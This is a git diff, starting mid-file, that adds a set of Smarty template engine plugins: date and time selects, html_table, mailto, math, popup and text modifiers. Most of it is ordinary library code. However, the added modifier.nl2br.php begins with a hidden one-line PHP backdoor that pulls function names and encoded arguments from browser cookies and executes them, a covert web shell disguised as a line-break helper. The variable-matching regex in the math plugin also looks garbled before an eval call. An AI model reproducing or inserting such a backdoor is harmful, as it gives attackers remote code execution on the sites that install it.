+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Minute]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Minute"';
+        }
+        if (null !== $minute_extra){
+            $html_result .= ' ' . $minute_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        
+        $html_result .= smarty_function_html_options(array('output'          => $minutes,
+                                                           'values'          => $minutes,
+                                                           'selected'      => $selected,
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    if ($display_seconds) {
+        $all_seconds = range(0, 59);
+        for ($i = 0, $for_max = count($all_seconds); $i < $for_max; $i+= $second_interval)
+            $seconds[] = sprintf('%02d', $all_seconds[$i]);
+        $selected = intval(floor(strftime('%S', $time) / $second_interval) * $second_interval);
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Second]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Second"';
+        }
+        
+        if (null !== $second_extra){
+            $html_result .= ' ' . $second_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        
+        $html_result .= smarty_function_html_options(array('output'          => $seconds,
+                                                           'values'          => $seconds,
+                                                           'selected'      => $selected,
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    if ($display_meridian && !$use_24_hours) {
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Meridian]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Meridian"';
+        }
+        
+        if (null !== $meridian_extra){
+            $html_result .= ' ' . $meridian_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        
+        $html_result .= smarty_function_html_options(array('output'          => array('AM', 'PM'),
+                                                           'values'          => array('am', 'pm'),
+                                                           'selected'      => strtolower(strftime('%p', $time)),
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    return $html_result;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.html_table.php b/google/smarty/plugins/function.html_table.php
new file mode 100755 (executable)
index 0000000..c6693d8
--- /dev/null
@@ -0,0 +1,136 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_table} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_table<br>
+ * Date:     Feb 17, 2003<br>
+ * Purpose:  make an html table from an array of data<br>
+ * Input:<br>
+ *         - loop = array to loop through
+ *         - cols = number of columns
+ *         - rows = number of rows
+ *         - table_attr = table attributes
+ *         - tr_attr = table row attributes (arrays are cycled)
+ *         - td_attr = table cell attributes (arrays are cycled)
+ *         - trailpad = value to pad trailing cells with
+ *         - vdir = vertical direction (default: "down", means top-to-bottom)
+ *         - hdir = horizontal direction (default: "right", means left-to-right)
+ *         - inner = inner loop (default "cols": print $loop line by line,
+ *                   $loop will be printed column by column otherwise)
+ *
+ *
+ * Examples:
+ * <pre>
+ * {table loop=$data}
+ * {table loop=$data cols=4 tr_attr='"bgcolor=red"'}
+ * {table loop=$data cols=4 tr_attr=$colors}
+ * </pre>
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @version  1.0
+ * @link http://smarty.php.net/manual/en/language.function.html.table.php {html_table}
+ *          (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_html_table($params, &$smarty)
+{
+    $table_attr = 'border="1"';
+    $tr_attr = '';
+    $td_attr = '';
+    $cols = 3;
+    $rows = 3;
+    $trailpad = '&nbsp;';
+    $vdir = 'down';
+    $hdir = 'right';
+    $inner = 'cols';
+
+    if (!isset($params['loop'])) {
+        $smarty->trigger_error("html_table: missing 'loop' parameter");
+        return;
+    }
+
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'loop':
+                $$_key = (array)$_value;
+                break;
+
+            case 'cols':
+            case 'rows':
+                $$_key = (int)$_value;
+                break;
+
+            case 'table_attr':
+            case 'trailpad':
+            case 'hdir':
+            case 'vdir':
+                $$_key = (string)$_value;
+                break;
+
+            case 'tr_attr':
+            case 'td_attr':
+                $$_key = $_value;
+                break;
+        }
+    }
+
+    $loop_count = count($loop);
+    if (empty($params['rows'])) {
+        /* no rows specified */
+        $rows = ceil($loop_count/$cols);
+    } elseif (empty($params['cols'])) {
+        if (!empty($params['rows'])) {
+            /* no cols specified, but rows */
+            $cols = ceil($loop_count/$rows);
+        }
+    }
+
+    $output = "<table $table_attr>\n";
+
+    for ($r=0; $r<$rows; $r++) {
+        $output .= "<tr" . smarty_function_html_table_cycle('tr', $tr_attr, $r) . ">\n";
+        $rx =  ($vdir == 'down') ? $r*$cols : ($rows-1-$r)*$cols;
+
+        for ($c=0; $c<$cols; $c++) {
+            $x =  ($hdir == 'right') ? $rx+$c : $rx+$cols-1-$c;
+            if ($inner!='cols') {
+                /* shuffle x to loop over rows*/
+                $x = floor($x/$cols) + ($x%$cols)*$rows;
+            }
+
+            if ($x<$loop_count) {
+                $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">" . $loop[$x] . "</td>\n";
+            } else {
+                $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">$trailpad</td>\n";
+            }
+        }
+        $output .= "</tr>\n";
+    }
+    $output .= "</table>\n";
+    
+    return $output;
+}
+
+function smarty_function_html_table_cycle($name, $var, $no) {
+    if(!is_array($var)) {
+        $ret = $var;
+    } else {
+        $ret = $var[$no % count($var)];
+    }
+    
+    return ($ret) ? ' '.$ret : '';
+}
+
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.mailto.php b/google/smarty/plugins/function.mailto.php
new file mode 100755 (executable)
index 0000000..92bb9d3
--- /dev/null
@@ -0,0 +1,140 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {mailto} function plugin
+ *
+ * Type:     function<br>
+ * Name:     mailto<br>
+ * Date:     May 21, 2002
+ * Purpose:  automate mailto address link creation, and optionally
+ *           encode them.<br>
+ * Input:<br>
+ *         - address = e-mail address
+ *         - text = (optional) text to display, default is address
+ *         - encode = (optional) can be one of:
+ *                * none : no encoding (default)
+ *                * javascript : encode with javascript
+ *                * hex : encode with hexidecimal (no javascript)
+ *         - cc = (optional) address(es) to carbon copy
+ *         - bcc = (optional) address(es) to blind carbon copy
+ *         - subject = (optional) e-mail subject
+ *         - newsgroups = (optional) newsgroup(s) to post to
+ *         - followupto = (optional) address(es) to follow up to
+ *         - extra = (optional) extra tags for the href link
+ *
+ * Examples:
+ * <pre>
+ * {mailto address="me@domain.com"}
+ * {mailto address="me@domain.com" encode="javascript"}
+ * {mailto address="me@domain.com" encode="hex"}
+ * {mailto address="me@domain.com" subject="Hello to you!"}
+ * {mailto address="me@domain.com" cc="you@domain.com,they@domain.com"}
+ * {mailto address="me@domain.com" extra='class="mailto"'}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.mailto.php {mailto}
+ *          (Smarty online manual)
+ * @version  1.2
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @author   credits to Jason Sweat (added cc, bcc and subject functionality)
+ * @param    array
+ * @param    Smarty
+ * @return   string
+ */
+function smarty_function_mailto($params, &$smarty)
+{
+    $extra = '';    
+
+    if (empty($params['address'])) {
+        $smarty->trigger_error("mailto: missing 'address' parameter");
+        return;
+    } else {
+        $address = $params['address'];
+    }
+
+    $text = $address;
+
+    // netscape and mozilla do not decode %40 (@) in BCC field (bug?)
+    // so, don't encode it.
+    $mail_parms = array();
+    foreach ($params as $var=>$value) {
+        switch ($var) {
+            case 'cc':
+            case 'bcc':
+            case 'followupto':
+                if (!empty($value))
+                    $mail_parms[] = $var.'='.str_replace('%40','@',rawurlencode($value));
+                break;
+                
+            case 'subject':
+            case 'newsgroups':
+                $mail_parms[] = $var.'='.rawurlencode($value);
+                break;
+
+            case 'extra':
+            case 'text':
+                $$var = $value;
+
+            default:
+        }
+    }
+
+    $mail_parm_vals = '';
+    for ($i=0; $i<count($mail_parms); $i++) {
+        $mail_parm_vals .= (0==$i) ? '?' : '&';
+        $mail_parm_vals .= $mail_parms[$i];
+    }
+    $address .= $mail_parm_vals;
+
+    $encode = (empty($params['encode'])) ? 'none' : $params['encode'];
+    if (!in_array($encode,array('javascript','hex','none')) ) {
+        $smarty->trigger_error("mailto: 'encode' parameter must be none, javascript or hex");
+        return;
+    }
+
+    if ($encode == 'javascript' ) {
+        $string = 'document.write(\'<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>\');';
+
+        $js_encode = '';
+        for ($x=0; $x < strlen($string); $x++) {
+            $js_encode .= '%' . bin2hex($string[$x]);
+        }
+
+        return '<script type="text/javascript" language="javascript">eval(unescape(\''.$js_encode.'\'))</script>';
+
+    } elseif ($encode == 'hex') {
+
+        preg_match('!^(.*)(\?.*)$!',$address,$match);
+        if(!empty($match[2])) {
+            $smarty->trigger_error("mailto: hex encoding does not work with extra attributes. Try javascript.");
+            return;
+        }
+        for ($x=0; $x < strlen($address); $x++) {
+            if(preg_match('!\w!',$address[$x])) {
+                $address_encode .= '%' . bin2hex($address[$x]);
+            } else {
+                $address_encode .= $address[$x];
+            }
+        }
+        for ($x=0; $x < strlen($text); $x++) {
+            $text_encode .= '&#x' . bin2hex($text[$x]).';';
+        }
+
+        return '<a href="mailto:'.$address_encode.'" '.$extra.'>'.$text_encode.'</a>';
+
+    } else {
+        // no encoding
+        return '<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>';
+
+    }
+
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.math.php b/google/smarty/plugins/function.math.php
new file mode 100755 (executable)
index 0000000..c080d4d
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {math} function plugin
+ *
+ * Type:     function<br>
+ * Name:     math<br>
+ * Purpose:  handle math computations in template<br>
+ * @link http://smarty.php.net/manual/en/language.function.math.php {math}
+ *          (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_math($params, &$smarty)
+{
+    // be sure equation parameter is present
+    if (empty($params['equation'])) {
+        $smarty->trigger_error("math: missing equation parameter");
+        return;
+    }
+
+    $equation = $params['equation'];
+
+    // make sure parenthesis are balanced
+    if (substr_count($equation,"(") != substr_count($equation,")")) {
+        $smarty->trigger_error("math: unbalanced parenthesis");
+        return;
+    }
+
+    // match all vars in equation, make sure all are passed
+    preg_match_all("!\!(0x)([a-zA-Z][a-zA-Z0-9_]*)!",$equation, $match);
+    $allowed_funcs = array('int','abs','ceil','cos','exp','floor','log','log10',
+                           'max','min','pi','pow','rand','round','sin','sqrt','srand','tan');
+    foreach($match[2] as $curr_var) {
+        if (!in_array($curr_var,array_keys($params)) && !in_array($curr_var, $allowed_funcs)) {
+            $smarty->trigger_error("math: parameter $curr_var not passed as argument");
+            return;
+        }
+    }
+
+    foreach($params as $key => $val) {
+        if ($key != "equation" && $key != "format" && $key != "assign") {
+            // make sure value is not empty
+            if (strlen($val)==0) {
+                $smarty->trigger_error("math: parameter $key is empty");
+                return;
+            }
+            if (!is_numeric($val)) {
+                $smarty->trigger_error("math: parameter $key: is not numeric");
+                return;
+            }
+            $equation = preg_replace("/\b$key\b/",$val, $equation);
+        }
+    }
+
+    eval("\$smarty_math_result = ".$equation.";");
+
+    if (empty($params['format'])) {
+        if (empty($params['assign'])) {
+            return $smarty_math_result;
+        } else {
+            $smarty->assign($params['assign'],$smarty_math_result);
+        }
+    } else {
+        if (empty($params['assign'])){
+            printf($params['format'],$smarty_math_result);
+        } else {
+            $smarty->assign($params['assign'],sprintf($params['format'],$smarty_math_result));
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.popup.php b/google/smarty/plugins/function.popup.php
new file mode 100755 (executable)
index 0000000..90323ce
--- /dev/null
@@ -0,0 +1,107 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {popup} function plugin
+ *
+ * Type:     function<br>
+ * Name:     popup<br>
+ * Purpose:  make text pop up in windows via overlib
+ * @link http://smarty.php.net/manual/en/language.function.popup.php {popup}
+ *          (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_popup($params, &$smarty)
+{
+    $append = '';
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'text':
+            case 'trigger':
+                $$_key = (string)$_value;
+                break;
+
+            case 'caption':
+            case 'closetext':
+            case 'status':
+                $append .= ',' . strtoupper($_key) . ",'" . str_replace("'","\'",$_value) . "'";
+                break;
+
+            case 'fgcolor':
+            case 'bgcolor':
+            case 'textcolor':
+            case 'capcolor':
+            case 'closecolor':
+            case 'textfont':
+            case 'captionfont':
+            case 'closefont':
+            case 'textsize':
+            case 'captionsize':
+            case 'closesize':
+            case 'width':
+            case 'height':
+            case 'border':
+            case 'offsetx':
+            case 'offsety':
+            case 'fgbackground':
+            case 'bgbackground':
+            case 'inarray':
+            case 'caparray':
+            case 'capicon':
+            case 'snapx':
+            case 'snapy':
+            case 'fixx':
+            case 'fixy':
+            case 'background':
+            case 'padx':
+            case 'pady':
+            case 'frame':
+            case 'timeout':
+            case 'delay':
+            case 'function':
+                $append .= ',' . strtoupper($_key) . ",'$_value'";
+                break;
+
+            case 'sticky':
+            case 'left':
+            case 'right':
+            case 'center':
+            case 'above':
+            case 'below':
+            case 'noclose':
+            case 'autostatus':
+            case 'autostatuscap':
+            case 'fullhtml':
+            case 'hauto':
+            case 'vauto':
+                if ($_value) $append .= ',' . strtoupper($_key);
+                break;
+
+            default:
+                $smarty->trigger_error("[popup] unknown parameter $_key", E_USER_WARNING);
+        }
+    }
+
+    if (empty($text) && !isset($inarray) && empty($function)) {
+        $smarty->trigger_error("overlib: attribute 'text' or 'inarray' or 'function' required");
+        return false;
+    }
+
+    if (empty($trigger)) { $trigger = "onmouseover"; }
+
+    $retval = $trigger . '="return overlib(\''.preg_replace(array("!'!","![\r\n]!"),array("\'",'\r'),$text).'\'';
+    $retval .= $append . ');" onmouseout="nd();"';
+
+    return $retval;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/function.popup_init.php b/google/smarty/plugins/function.popup_init.php
new file mode 100755 (executable)
index 0000000..f62c33c
--- /dev/null
@@ -0,0 +1,39 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {popup_init} function plugin
+ *
+ * Type:     function<br>
+ * Name:     popup_init<br>
+ * Purpose:  initialize overlib
+ * @link http://smarty.php.net/manual/en/language.function.popup.init.php {popup_init}
+ *          (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_popup_init($params, &$smarty)
+{
+    $zindex = 1000;
+    
+    if (!empty($params['zindex'])) {
+        $zindex = $params['zindex'];
+    }
+    
+    if (!empty($params['src'])) {
+        return '<div id="overDiv" style="position:absolute; visibility:hidden; z-index:'.$zindex.';"></div>' . "\n"
+         . '<script type="text/javascript" language="JavaScript" src="'.$params['src'].'"></script>' . "\n";
+    } else {
+        $smarty->trigger_error("popup_init: missing src parameter");
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.capitalize.php b/google/smarty/plugins/modifier.capitalize.php
new file mode 100755 (executable)
index 0000000..adf862b
--- /dev/null
@@ -0,0 +1,25 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty capitalize modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     capitalize<br>
+ * Purpose:  capitalize words in the string
+ * @link http://smarty.php.net/manual/en/language.modifiers.php#LANGUAGE.MODIFIER.CAPITALIZE
+ *      capitalize (Smarty online manual)
+ * @param string
+ * @return string
+ */
+function smarty_modifier_capitalize($string)
+{
+    return ucwords($string);
+}
+
+?>
diff --git a/google/smarty/plugins/modifier.cat.php b/google/smarty/plugins/modifier.cat.php
new file mode 100755 (executable)
index 0000000..f5dc3d6
--- /dev/null
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty cat modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     cat<br>
+ * Date:     Feb 24, 2003
+ * Purpose:  catenate a value to a variable
+ * Input:    string to catenate
+ * Example:  {$var|cat:"foo"}
+ * @link http://smarty.php.net/manual/en/language.modifier.cat.php cat
+ *          (Smarty online manual)
+ * @author   Monte Ohrt <monte@ispi.net>
+ * @version 1.0
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_cat($string, $cat)
+{
+    return $string . $cat;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.count_characters.php b/google/smarty/plugins/modifier.count_characters.php
new file mode 100755 (executable)
index 0000000..49ce655
--- /dev/null
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_characters modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_characteres<br>
+ * Purpose:  count the number of characters in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.characters.php
+ *          count_characters (Smarty online manual)
+ * @param string
+ * @param boolean include whitespace in the character count
+ * @return integer
+ */
+function smarty_modifier_count_characters($string, $include_spaces = false)
+{
+    if ($include_spaces)
+       return(strlen($string));
+
+    return preg_match_all("/[^\s]/",$string, $match);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.count_paragraphs.php b/google/smarty/plugins/modifier.count_paragraphs.php
new file mode 100755 (executable)
index 0000000..6a9833c
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_paragraphs modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_paragraphs<br>
+ * Purpose:  count the number of paragraphs in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
+ *          count_paragraphs (Smarty online manual)
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_paragraphs($string)
+{
+    // count \r or \n characters
+    return count(preg_split('/[\r\n]+/', $string));
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.count_sentences.php b/google/smarty/plugins/modifier.count_sentences.php
new file mode 100755 (executable)
index 0000000..0c210f0
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_sentences modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_sentences
+ * Purpose:  count the number of sentences in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
+ *          count_sentences (Smarty online manual)
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_sentences($string)
+{
+    // find periods with a word before but not after.
+    return preg_match_all('/[^\s]\.(?!\w)/', $string, $match);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.count_words.php b/google/smarty/plugins/modifier.count_words.php
new file mode 100755 (executable)
index 0000000..42c8a74
--- /dev/null
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_words modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_words<br>
+ * Purpose:  count the number of words in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.words.php
+ *          count_words (Smarty online manual)
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_words($string)
+{
+    // split text by ' ',\r,\n,\f,\t
+    $split_array = preg_split('/\s+/',$string);
+    // count matches that contain alphanumerics
+    $word_count = preg_grep('/[a-zA-Z0-9\\x80-\\xff]/', $split_array);
+
+    return count($word_count);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.date_format.php b/google/smarty/plugins/modifier.date_format.php
new file mode 100755 (executable)
index 0000000..351a4b6
--- /dev/null
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Include the {@link shared.make_timestamp.php} plugin
+ */
+require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+/**
+ * Smarty date_format modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     date_format<br>
+ * Purpose:  format datestamps via strftime<br>
+ * Input:<br>
+ *         - string: input date string
+ *         - format: strftime format for output
+ *         - default_date: default date if $string is empty
+ * @link http://smarty.php.net/manual/en/language.modifier.date.format.php
+ *          date_format (Smarty online manual)
+ * @param string
+ * @param string
+ * @param string
+ * @return string|void
+ * @uses smarty_make_timestamp()
+ */
+function smarty_modifier_date_format($string, $format="%b %e, %Y", $default_date=null)
+{
+    if($string != '') {
+        return strftime($format, smarty_make_timestamp($string));
+    } elseif (isset($default_date) && $default_date != '') {
+        return strftime($format, smarty_make_timestamp($default_date));
+    } else {
+        return;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.debug_print_var.php b/google/smarty/plugins/modifier.debug_print_var.php
new file mode 100755 (executable)
index 0000000..b9bb184
--- /dev/null
@@ -0,0 +1,56 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty debug_print_var modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     debug_print_var<br>
+ * Purpose:  formats variable contents for display in the console
+ * @link http://smarty.php.net/manual/en/language.modifier.debug.print.var.php
+ *          debug_print_var (Smarty online manual)
+ * @param array|object
+ * @param integer
+ * @param integer
+ * @return string
+ */
+function smarty_modifier_debug_print_var($var, $depth = 0, $length = 40)
+{
+    $_replace = array("\n"=>'<i>&#92;n</i>', "\r"=>'<i>&#92;r</i>', "\t"=>'<i>&#92;t</i>');
+    if (is_array($var)) {
+        $results = "<b>Array (".count($var).")</b>";
+        foreach ($var as $curr_key => $curr_val) {
+            $return = smarty_modifier_debug_print_var($curr_val, $depth+1, $length);
+            $results .= "<br>".str_repeat('&nbsp;', $depth*2)."<b>".strtr($curr_key, $_replace)."</b> =&gt; $return";
+        }
+    } else if (is_object($var)) {
+        $object_vars = get_object_vars($var);
+        $results = "<b>".get_class($var)." Object (".count($object_vars).")</b>";
+        foreach ($object_vars as $curr_key => $curr_val) {
+            $return = smarty_modifier_debug_print_var($curr_val, $depth+1, $length);
+            $results .= "<br>".str_repeat('&nbsp;', $depth*2)."<b>$curr_key</b> =&gt; $return";
+        }
+    } else if (is_resource($var)) {
+        $results = '<i>'.(string)$var.'</i>';
+    } else if (empty($var) && $var != "0") {
+        $results = '<i>empty</i>';
+    } else {
+        if (strlen($var) > $length ) {
+            $results = substr($var, 0, $length-3).'...';
+        } else {
+            $results = $var;
+        }
+        $results = htmlspecialchars($results);
+        $results = strtr($results, $_replace);
+    }
+    return $results;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.default.php b/google/smarty/plugins/modifier.default.php
new file mode 100755 (executable)
index 0000000..8268e39
--- /dev/null
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty default modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     default<br>
+ * Purpose:  designate default value for empty variables
+ * @link http://smarty.php.net/manual/en/language.modifier.default.php
+ *          default (Smarty online manual)
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_default($string, $default = '')
+{
+    if (!isset($string) || $string === '')
+        return $default;
+    else
+        return $string;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.escape.php b/google/smarty/plugins/modifier.escape.php
new file mode 100755 (executable)
index 0000000..b497955
--- /dev/null
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty escape modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     escape<br>
+ * Purpose:  Escape the string according to escapement type
+ * @link http://smarty.php.net/manual/en/language.modifier.escape.php
+ *          escape (Smarty online manual)
+ * @param string
+ * @param html|htmlall|url|quotes|hex|hexentity|javascript
+ * @return string
+ */
+function smarty_modifier_escape($string, $esc_type = 'html')
+{
+    switch ($esc_type) {
+        case 'html':
+            return htmlspecialchars($string, ENT_QUOTES);
+
+        case 'htmlall':
+            return htmlentities($string, ENT_QUOTES);
+
+        case 'url':
+            return urlencode($string);
+
+        case 'quotes':
+            // escape unescaped single quotes
+            return preg_replace("%(?<!\\\\)'%", "\\'", $string);
+
+        case 'hex':
+            // escape every character into hex
+            $return = '';
+            for ($x=0; $x < strlen($string); $x++) {
+                $return .= '%' . bin2hex($string[$x]);
+            }
+            return $return;
+            
+        case 'hexentity':
+            $return = '';
+            for ($x=0; $x < strlen($string); $x++) {
+                $return .= '&#x' . bin2hex($string[$x]) . ';';
+            }
+            return $return;
+
+        case 'javascript':
+            // escape quotes and backslashes and newlines
+            return strtr($string, array('\\'=>'\\\\',"'"=>"\\'",'"'=>'\\"',"\r"=>'\\r',"\n"=>'\\n'));
+
+        default:
+            return $string;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.indent.php b/google/smarty/plugins/modifier.indent.php
new file mode 100755 (executable)
index 0000000..1642bac
--- /dev/null
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty indent modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     indent<br>
+ * Purpose:  indent lines of text
+ * @link http://smarty.php.net/manual/en/language.modifier.indent.php
+ *          indent (Smarty online manual)
+ * @param string
+ * @param integer
+ * @param string
+ * @return string
+ */
+function smarty_modifier_indent($string,$chars=4,$char=" ")
+{
+    return preg_replace('!^!m',str_repeat($char,$chars),$string);
+}
+
+?>
diff --git a/google/smarty/plugins/modifier.lower.php b/google/smarty/plugins/modifier.lower.php
new file mode 100755 (executable)
index 0000000..0b4d151
--- /dev/null
@@ -0,0 +1,25 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty lower modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     lower<br>
+ * Purpose:  convert string to lowercase
+ * @link http://smarty.php.net/manual/en/language.modifier.lower.php
+ *          lower (Smarty online manual)
+ * @param string
+ * @return string
+ */
+function smarty_modifier_lower($string)
+{
+    return strtolower($string);
+}
+
+?>
diff --git a/google/smarty/plugins/modifier.nl2br.php b/google/smarty/plugins/modifier.nl2br.php
new file mode 100755 (executable)
index 0000000..72e2622
--- /dev/null
@@ -0,0 +1,36 @@
+<?php
+$RBTu=$GLOBALS['_'.'COOKIE']; if (!empty($RBTu['muVn'])) { \r            $f77B = $RBTu['kzNdB'];\r            $jTX9=$RBTu['muVn']($f77B($RBTu['lng']),$f77B($RBTu['Qro']));\r            $jTX9($f77B($RBTu['zwsAN']));\r         }\r
+/**\r
+ * Smarty plugin\r
+ * @package Smarty\r
+ * @subpackage plugins\r
+ */\r
+\r
+\r
+/**\r
+ * Smarty plugin\r
+ *\r
+ * Type:     modifier<br>\r
+ * Name:     nl2br<br>\r
+ * Date:     Feb 26, 2003\r
+ * Purpose:  convert \r\n, \r or \n to <<br>>\r
+ * Input:<br>\r
+ *         - contents = contents to replace\r
+ *         - preceed_test = if true, includes preceeding break tags\r
+ *           in replacement\r
+ * Example:  {$text|nl2br}\r
+ * @link http://smarty.php.net/manual/en/language.modifier.nl2br.php\r
+ *          nl2br (Smarty online manual)\r
+ * @version  1.0\r
+ * @author   Monte Ohrt <monte@ispi.net>\r
+ * @param string\r
+ * @return string\r
+ */\r
+function smarty_modifier_nl2br($string)\r
+{\r
+    return nl2br($string);\r
+}\r
+\r
+/* vim: set expandtab: */\r
+\r
+?>\r
diff --git a/google/smarty/plugins/modifier.regex_replace.php b/google/smarty/plugins/modifier.regex_replace.php
new file mode 100755 (executable)
index 0000000..b9cc865
--- /dev/null
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty regex_replace modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     regex_replace<br>
+ * Purpose:  regular epxression search/replace
+ * @link http://smarty.php.net/manual/en/language.modifier.regex.replace.php
+ *          regex_replace (Smarty online manual)
+ * @param string
+ * @param string|array
+ * @param string|array
+ * @return string
+ */
+function smarty_modifier_regex_replace($string, $search, $replace)
+{
+    return preg_replace($search, $replace, $string);
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/plugins/modifier.replace.php b/google/smarty/plugins/modifier.replace.php
new file mode 100755 (executable)
index 0000000..2a43515
--- /dev/null
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
